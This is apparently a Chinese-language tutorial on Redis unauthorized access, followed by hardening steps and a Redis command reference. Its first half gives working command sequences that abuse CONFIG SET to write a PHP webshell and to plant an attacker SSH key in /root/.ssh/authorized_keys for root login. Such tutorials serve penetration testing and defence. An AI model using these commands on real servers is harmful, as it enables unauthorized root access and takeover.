Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

如果配攻击者未授权访问Redis的情况下,可利用Redis自身提供的config命令,进行文件的读写操作,攻击者可以直接将自己的ssh公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而直接使用对应私钥通过SSH登录目标服务器。

写入webshell

  1. 端口扫描

    image-20200611164552241

  2. 使用-h 直接连接无密码的redis

    image-20200611164616738

  3. 设置文件写入目录

    1
    Config set dir /home
  4. 设置写入的文件名

    1
    Config set dbfilename shell.php
  5. 设置写入的内容

    1
    Set key名 "value内容"
  6. 保存

    1
    save

    image-20200611164818162

    image-20200611164829640

写入SSH公钥

  1. 生成本地ssh公钥,密码都设置为空

    1
    2
    3
    4
    5
    6
    7
    ssh-keygen -t rsa

    \# 默认保存在~/.ssh/

    (echo -e "nn";cat id_rsa.pub;echo -e "nn") > gssh.txt

    \#保存公钥到gssh.txt
  2. 将保存的公钥写到服务器上

    1
    cat gssh.txt | redis-cli -h 10.1.10.10 -x set crackit
  3. 连接redis服务器

    1
    redis-cli -h 10.1.10.10
  4. 设置文件保存目录

    1
    CONFIG SET dir /root/.ssh/
  5. 设置文件名

    1
    CONFIG SET dbfilename authorized_keys
  6. 保存退出

    1
    Save
  7. 最后ssh连接

    1
    ssh -i id_rsa root@10.1.10.10

安全加固

采用IP方式进行访问控制

  • 修改redis.conf文件,添加允许访问的IP

    image-20200611165125843

  • 更换端口

    image-20200611165141724

  • 重启redis后生效

    1
    redis-server /opt/redis.conf

设置访问密码,来提供远程登陆

  • 修改redis.conf 添加密码

    image-20200611165230777

配置防火墙策略

  • 仅允许制定ip访问

    1
    iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT

Redis常用命令

key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
keys * 获取所有的key
select 0 选择第一个库
move myString 1 将当前的数据库key移动到某个数据库,目标库有,则不能移动
flush db 清除指定库
randomkey 随机key
type key 类型

set key1 value1 设置key
get key1 获取key
mset key1 value1 key2 value2 key3 value3
mget key1 key2 key3
del key1 删除key
exists key 判断是否存在key
expire key 10 10过期
pexpire key 1000 毫秒
persist key 删除过期时间

string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
set name cxx
get name
getrange name 0 -1 字符串分段
getset name new_cxx 设置值,返回旧值
mset key1 key2 批量设置
mget key1 key2 批量获取
setnx key value 不存在就插入(not exists)
setex key time value 过期时间(expire)
setrange key index value 从index开始替换value
incr age 递增
incrby age 10 递增
decr age 递减
decrby age 10 递减
incrbyfloat 增减浮点数
append 追加
strlen 长度
getbit/setbit/bitcount/bitop 位操作

list

1
2
3
4
5
6
7
8
9
10
11
12
13
lpush mylist a b c  左插入
rpush mylist x y z 右插入
lrange mylist 0 -1 数据集合
lpop mylist 弹出元素
rpop mylist 弹出元素
llen mylist 长度
lrem mylist count value 删除
lindex mylist 2 指定索引的值
lset mylist 2 n 索引设值
ltrim mylist 0 4 删除key
linsert mylist before a 插入
linsert mylist after a 插入
rpoplpush list list2 转移列表的数据

set与zset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
set
sadd myset redis
smembers myset 数据集合
srem myset set1 删除
sismember myset set1 判断元素是否在集合中
scard key_name 个数
sdiff | sinter | sunion 操作:集合间运算:差集 | 交集 | 并集
srandmember 随机获取集合中的元素
spop 从集合中弹出一个元素

zset
zadd zset 1 one
zadd zset 2 two
zadd zset 3 three
zincrby zset 1 one 增长分数
zscore zset two 获取分数
zrange zset 0 -1 withscores 范围值
zrangebyscore zset 10 25 withscores 指定范围的值
zrangebyscore zset 10 25 withscores limit 1 2 分页
Zrevrangebyscore zset 10 25 withscores 指定范围的值
zcard zset 元素数量
Zcount zset 获得指定分数范围内的元素个数
Zrem zset one two 删除一个或多个元素
Zremrangebyrank zset 0 1 按照排名范围删除元素
Zremrangebyscore zset 0 1 按照分数范围删除元素
Zrank zset 0 -1 分数最小的元素排名为0
Zrevrank zset 0 -1 分数最大的元素排名为0
Zinterstore
zunionstore rank:last_week 7 rank:20150323 rank:20150324 rank:20150325 weights 1 1 1 1 1 1 1

服务器管理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
appendonly.aof
//BgRewriteAof 异步执行一个aop(appendOnly file)文件重写
会创建当前一个AOF文件体积的优化版本

//BgSave 后台异步保存数据到磁盘,会在当前目录下创建文件dump.rdb
//save同步保存数据到磁盘,会阻塞主进程,别的客户端无法连接

//client kill 关闭客户端连接
//client list 列出所有的客户端

//给客户端设置一个名称
client setname myclient1
client getname

config get port
//configRewrite 对redis的配置文件进行改写